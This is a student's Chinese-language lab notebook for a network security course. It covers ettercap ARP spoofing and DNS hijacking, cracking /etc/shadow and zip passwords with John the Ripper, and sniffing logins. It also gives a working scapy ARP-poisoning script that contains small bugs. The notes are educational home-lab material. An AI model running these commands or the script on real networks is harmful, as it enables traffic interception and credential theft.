前言
本人深感网络安全实验有点麻烦,花了一个晚上弄了部分,特此将笔记贡献造福后人,个人能力有限,还会继续更新。。。
汇报题目:15分钟教你用 Python 写一个 arpspoof(课件准备ing,如果弄完后续补上)
第一次网络安全实验(密码学)也是我做的,这里先放个自制工具:Java实现密码学工具,集成了对称加密算法DES,AES,IDEA,公开加密算法RSA,ECC,散列算法MD5,SHA1,CRC32,以及RSA,DSA,ECDSA数字签名验证示例。,具体报告有时间上传一下。。
后续准备:将工具教程与实战模块分离。。。
Kali 常用指令
切换系统语言: sudo dpkg-reconfigure locales
获取 root 权限:sudo -s
,输入密码
工具教程
ettercap 基本使用
左上角搜索 ettercap
,选择 ettercap-graphical
打开软件
Ettercap 扫描局域网主机
进入 ettercao 后,选择网卡 eth0,其他的默认即可,然后点击右上角的勾,进入操作的主界面。
(由于安装kali的版本不同,Ettercap 界面可能有所不同,不过操作都是大同小异的)
Ettercap 扫描局域网主机
进入主操作界面后,点击右上角的三个小点,选择 Hosts- > Hosts list,就会出现一个局域网所有主机的列表,如果 主机列表为空 或是 有些局域网里的主机没有显示在列表里,那么就可以对整个局域网进行主机扫描,点击三个小点 -> Hosts-> Scan for hosts。扫描完成后主机列表就会刷新了。
Ettercap 伪造网关欺骗
主机列表中,选中 网关IP 点击 Add to Target 1,选择 需要攻击的目标主机IP 点击 Add to Target 2。
这一步主要是欺骗被攻击的目标主机,把 网关的IP地址伪造成 攻击者 Mac 地址。让被攻击的目标主机 把数据发送到 攻击者的主机上。
进行 ARP 欺骗
完成上面步骤后,接着点击小地球选择 ARP poisoning… 会弹出一个提示框让你选择,直接勾选第一个选项,点击OK,最后一步点击左上角的三角型按钮进行启动。
ARP 欺骗启动后,被攻击的目标主机数据请求就会自动发送到攻击者的主机上来。
口令破解
加密算法,其实就是用明文密码和一个叫 salt 的东西通过函数crypt()
完成加密。而所谓的密码域密文也是由三部分组成的,即:$id$salt$encrypted
。
id
为 1 时,采用 md5 进行加密;id
为 5 时,采用 SHA256 进行加密;id
为 6 时,采用 SHA512 进行加密;
通过 cat /etc/shadow
可以观察到:
John the ripper 破解 linux 密码【成功】
John the ripper 介绍:
- 四种模式:字典模式,简单模式,增强模式,外挂模式
- Kali Linux 上的 John 随带的密码列表。它位于下面这个路径:
/usr/share/john/password.lst
john --wordlist=/usr/share/john/password.lst [filename]
john--show ~/file_to crack
把密码文件拷贝到用户目录下:
cp /etc/shadow /home/yu/yusael
破解密码文件:
john --wordlist=/usr/share/john/password.lst
查看破解后的密码文件:
john -show shadow
l0phtcrack7 破解 windows 密码【失败】
功能:该工具支持远程破解,理论上能破解所有密码,但对复杂度比较高的密码,破解时间很长
使用前提:
- 登录了需要破解的计算机
- 知道需要破解的计算机的一个管理员的账户,密码
选择 Password Auditing Wizard
:
选择要破解的密码的计算机操作系统,这里我们选择 Unix-like
,点击 next
:
选择需要获得密码的计算机是本机器还是远程机器,我们选择 the local machine
本机
选择是用登录的账户还是其他管理员账户,这里我们选择第一个:登录的账户
选择密码爆破方式,我们选择第一种快速破解,当然,也可以选择其他类型:
选择报告方式,默认即可:
选择 Run this job immediately
立刻执行:
点击 finish
:
结果破解失败了。
John 破解 zip 压缩包的密码【成功】
准备工具:
- zip压缩包带密码 1个
- kali Linux机器 1个
操作步骤:
首先创建一个 hello.zip
压缩文件,密码为 123321
,将他放到 Kali Linux 中;
使用 zip2john
命令爆出 hash 文件:zip2john hello.zip >> passwd.txt
然后使用 john
命令,计算 hash 文件:john passwd.txt
,成功破解出密码:123321
。
ARP 欺骗、DNS 劫持
arpspoof 实现 ARP 欺骗【成功】
ARP欺骗:一种中间人攻击,攻击者通过毒化受害者的 ARP 缓存,将网关的 MAC 替换成攻击者的 MAC ,于是攻击者的主机实际上就充当了受害主机的网关,之后攻击者就可以截获受害者发出和接到的数据包,从中获取账号密码、银行卡信息等,也可以实现断网操作。
注:我们可以通过在终端输入
arp -a
来查询 ARP 缓存,为了防治 ARP 欺骗,可以通过arp -s IP MAC
绑定 IP 和 MAC 生成 静态 ARP 表项
实验环境:
- 虚拟机 A,使用 kali linux(攻击者)
- 本地主机 B,win10
- A 和 B 处于同一局域网,这里的虚拟机需要以桥接的方式进行连接!!!
桥接和 NAT 的区别
1、桥接和 NAT 都是虚拟机的一种通讯模式,都需要一块网卡,但在桥接模式下虚拟机和主机在同一网段,而 NAT 模式下虚拟机和主机不在同一网段。
2、桥接网络相当于虚拟机和主机接在同一交换机上,同时上网,虚拟机对物理机的 CPU 和网络的直接影响较小,但安全性较低。
3、NAT 相当于虚拟机通过物理机连接网络,此时物理机相当于一个路由器,虚拟机等同于申请到一个上网名额,对物理机的 CPU 和网络的直接影响较大,但安全性较高。
实验步骤:
1、主机 B 里 ping www.baidu.com
检查网络
2、主机 B 里 ipconfig
查询主机 B 的 IP 地址
3、在 kali 的终端输入 route -n
查询当前局域网网关,为:192.168.3.1
4、arp 攻击指令格式:arpspoof -i [网卡名称] -t [B的IP] [当前局域网网关]
;
在 kali 的终端里输入命令:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1
5、kali 中输入指令后,回到主机 B,此时已经被ARP攻击,断网了。
命令行中ping www.baidu.com
测试网络连通发现请求超时。
ettercap 进行 DNS 劫持【成功】
ipconfig
查看 Kali Liunx 的 IP 地址,我这里是 192.168.3.21
;
vi /etc/ettercap/etter.dns
修改 etter.dns 文件,添加两行:
* A 192.168.3.21
* PTR 192.168.3.21
开启 apache2 服务:
service apache2 start
打开 ettercap
:
ettercap -G
点击扫描,扫描到以后,点击 Add to Target1
、Add to Target2
;
标题栏上点击三个点,选择 ARP poisoning...
:
选中 Sniff remote connections.
选择 dns_spoof
,即 DNS 劫持攻击。
点击左上角的开始按钮,此时下面显示 Starting Unified sniffing...
便开始攻击了。
此时目标机就连不上“国际互联网”(这里的目标机是我的Kali机子)。
ettercap 进行 ARP 欺骗【成功】
Ettercap 扫描局域网主机
进入 ettercao 后,选择网卡 eth0,其他的默认即可,然后点击右上角的勾,进入操作的主界面。
(由于安装kali的版本不同,Ettercap 界面可能有所不同,不过操作都是大同小异的)
Ettercap 扫描局域网主机
进入主操作界面后,点击右上角的三个小点,选择 Hosts- > Hosts list,就会出现一个局域网所有主机的列表,如果 主机列表为空 或是 有些局域网里的主机没有显示在列表里,那么就可以对整个局域网进行主机扫描,点击三个小点 -> Hosts-> Scan for hosts。扫描完成后主机列表就会刷新了。
Ettercap 伪造网关欺骗
主机列表中,选中 网关IP 点击 Add to Target 1,选择 需要攻击的目标主机IP 点击 Add to Target 2。
这一步主要是欺骗被攻击的目标主机,把 网关的IP地址伪造成 攻击者 Mac 地址。让被攻击的目标主机 把数据发送到 攻击者的主机上。
进行 ARP 欺骗
完成上面步骤后,接着点击小地球选择 ARP poisoning… 会弹出一个提示框让你选择,直接勾选第一个选项,点击OK,最后一步点击左上角的三角型按钮进行启动。
ARP 欺骗启动后,被攻击的目标主机数据请求就会自动发送到攻击者的主机上来。
此时目标主机已经受到攻击。
通过 路由表 判断 是否被 ARP 欺骗:ARP -n
HTTP&HTTPS账号密码获取
先开启端口转发,保证正常上网:echo 1 > /proc/sys/net/ipv4/ip_forward
开始欺骗:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1
用 ettercap 抓取登入帐号,密码:ettercap -Tq -i eth0
修改中间人攻击的配置文件:vim /etc/ettercap/etter.conf
Python 编写 arpspoof
环境准备
虚拟机的连接方式:
- NAT(网络地址转换,虚拟机可以上网,但不能和物理机通信)-----VMnet8
- host only(主机模式,虚拟机之间回可以通信,与物理机不能通信)-----VMnet1
- bridge (桥接,答虚拟机与物理机在地位上相等,相当于与物理机在同一局域网的物理机)
Kali 如果没有 pip3 工具,运行下面命令安装 pip3:
apt install python3-pip
安装 scapy 模块:
pip3 insatall scapy
ARP 报文结构
以下内容摘自 维基百科:地址解析协议
以太网报文数据:
- 硬件类型:如以太网(0x0001)、分组无线网。
- 协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。
- 硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。
- 协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。
- 操作码:1 为 ARP 请求,2 为 ARP 应答,3为RARP请求,4为RARP应答。
- 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。
- 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。
- 目标硬件地址:n个字节,n由硬件地址长 度得到,一般为目标MAC地址。
- 目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址。
报文格式:对我们来说只需要关心 操作码
、源硬件地址
、源协议地址
、目标硬件地址
、目标协议地址
CMD中:
from scapy.all import *
# 查看以太网报文
ls(Ether())
# 查看ARP报文
ls(ARP())
代码编写
#-*- coding:utf-8 -*-
from scapy.all import *
from scapy.layers.l2 import ARP, getmacbyip
import sys
'''
arp 缓冲表恢复
'''
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print("[*] 恢复ARP缓冲...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,
hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_ip), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))
'''
进行双向欺骗
'''
def attack_target(gateway_ip, gateway_mac, target_ip, target_mac):
'''
首先使用 scapy 构造 ARP包
需要: 了解arp报文结构(见笔记)
[以太网的首部]默认即可;
查看默认的以太网头部:
>>> ls(Ether())
dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '00:0c:29:07:a4:fd' (None)
type : XShortEnumField = 36864 (36864)
[arp头部]默认即可;
需要了解:操作码 源硬件地址 源协议地址 目标硬件地址 目标协议地址
查看ARP报文:
>>> ls(ARP())
hwtype : XShortField = 1 (1)
ptype : XShortEnumField = 2048 (2048)
hwlen : FieldLenField = None (None)
plen : FieldLenField = None (None)
op : ShortEnumField = 1 (1)
hwsrc : MultipleTypeField = '00:0c:29:07:a4:fd' (None)
psrc : MultipleTypeField = '192.168.3.21' (None)
hwdst : MultipleTypeField = '00:00:00:00:00:00' (None)
pdst : MultipleTypeField = '0.0.0.0' (None)
我们关心的是以下几个属性:
[op]: 操作码, 默认为 1
1为 ARP请求, 2为 ARP应答, 3为 RARP请求, 4为 RARP应答
RARP —— 逆地址解析协议, 作用与 ARP 相反, 将 MAC 地址转换为 IP 地址。
[hwsrc]: 发送方 MAC 地址, 用于告诉对方我的 MAC 地址是什么, 默认为本机, 可以忽略该属性
hw —— hardware:硬件, src —— source:源, 也就是自己
[psrc]: 发送方 IP 地址, 用于告诉对方我的 IP 地址是什么, 可以用来【伪装】
下面两个属性决定报文发给谁:
[hwdst]: 目标 MAC 地址
dst —— destination:目的地
[pdst]: 目标 IP 地址
'''
# 欺骗目标主机, 我是网关
'''
发送给目标主机(target_ip)
欺骗它:
我的 IP 是 gateway_ip(我是网关)
我的 MAC地址 是 hwsrc(默认本机)
'''
poison_target = ARP() # 构造 ARP包
poison_target.op = 2 # ARP应答
poison_target.psrc = gateway_ip # 我的 IP 是 gateway_ip(我是网关)
poison_target.pdst = target_ip # 目标 IP 地址
poison_target.hwdst = target_mac # 目标 MAC 地址
# 欺骗网关, 我是目标主机
'''
发送给网关(gateway_ip)
欺骗它:
我的 IP 是 target_ip(我是目标主机)
我的 MAC地址 是 hwsrc(默认本机)
'''
poison_gateway = ARP() # 构造 ARP包
poison_gateway.op = 2 # ARP应答
poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)
poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关
poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关
print("[*] 正在进行ARP投毒. [CTRL-C 停止]")
while True:
try:
# 不停的发送 ARP包
send(poison_target)
send(poison_gateway)
# 休眠一下, 避免太频繁的欺骗, 影响网络
time.sleep(2)
# 捕获键盘中断
except KeyboardInterrupt:
# 进行 ARP缓冲修复
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
break
print("[*] ARP投毒结束...")
def main():
# 网卡 (在kali上运行该脚本)
interface = "eth0"
# 网关
gateway_ip = "192.168.3.1"
# 目标ip
# target_ip = "192.168.3.3"
target_ip = input("请输入你想攻击的IP地址: ")
# 设置网卡
conf.iface = interface
# 关闭提示信息
conf.verb = 0
print("[*] 网卡: %s"%interface )
# 获取网关MAC
gateway_mac = getmacbyip(gateway_ip)
if gateway_mac is None:
print("[!] 获取网关MAC失败. Exiting...")
sys.exit(0)
else:
print("[*] 网关: %s MAC: %s"%(gateway_ip, gateway_mac))
# 获取目标主机MAC
target_mac = getmacbyip(target_ip)
if target_mac is None:
print("[!] 获取目标主机MAC失败. Exiting...")
sys.exit(0)
else:
print("[*] 目标主机: %s MAC: %s"%(target_ip, target_mac))
attack_target(gateway_ip, gateway_mac, target_ip, target_mac)
if __name__ == "__main__":
main()
开始测试
Kali 运行脚本,windows 作为靶机。
VmVare 问题汇总
桥接模式没有网
问题描述:VMWare安装之后,虚拟网络一直使用默认配置:即 VMnet0 为 Bridged
模式,VMnet1 为 Only-Host
模式,VMnet8 为 NAT
模式。点击了虚拟网络编辑器(Virtual Network Editor) 恢复默认设置后,vMnet0 不见了,并且手动添加选择桥接模式后会报错:没有未桥接的主机网络适配器,无法将网络更改为桥接状态。
此问题导致 VMnet0 无法选择 bridge
模式,原因是 还原默认设置 按钮的 卸载组件-安装组件 过程删除了桥接服务,使主机的网络网卡没能被成功识别。
解决方案:
搜索 网络状态,并点击进入
点击更改适配器选项:
右键点击物理网卡,选择属性,比如我这里连接的是WIFi:
检查是否安装并选中了 “VMWare Bridge protocol”,如果没有请继续看下去
点击安装后,选中服务,点击添加
然后选择从磁盘安装,跳出来一个界面选择浏览,在VMvare根目录下找到 netbridge.inx
文件
安装即可。
安装完毕后,此时物理网卡-属性中应该有 “VMWare Bridge protocol” 选项,打勾即可。
还需要启动 vmnet bridging 驱动,管理员打开命令行:net start vmnetbridge
,或者重启计算机自动开启。
安全贴士
如何知道自己是否被 ARP欺骗攻击 了?
在命令行窗口内输入 ARP -a
查看路由表,如果发现你的网关的 Mac 地址,和局域网内某台主机的 Mac 地址相同,就说明你被欺骗了。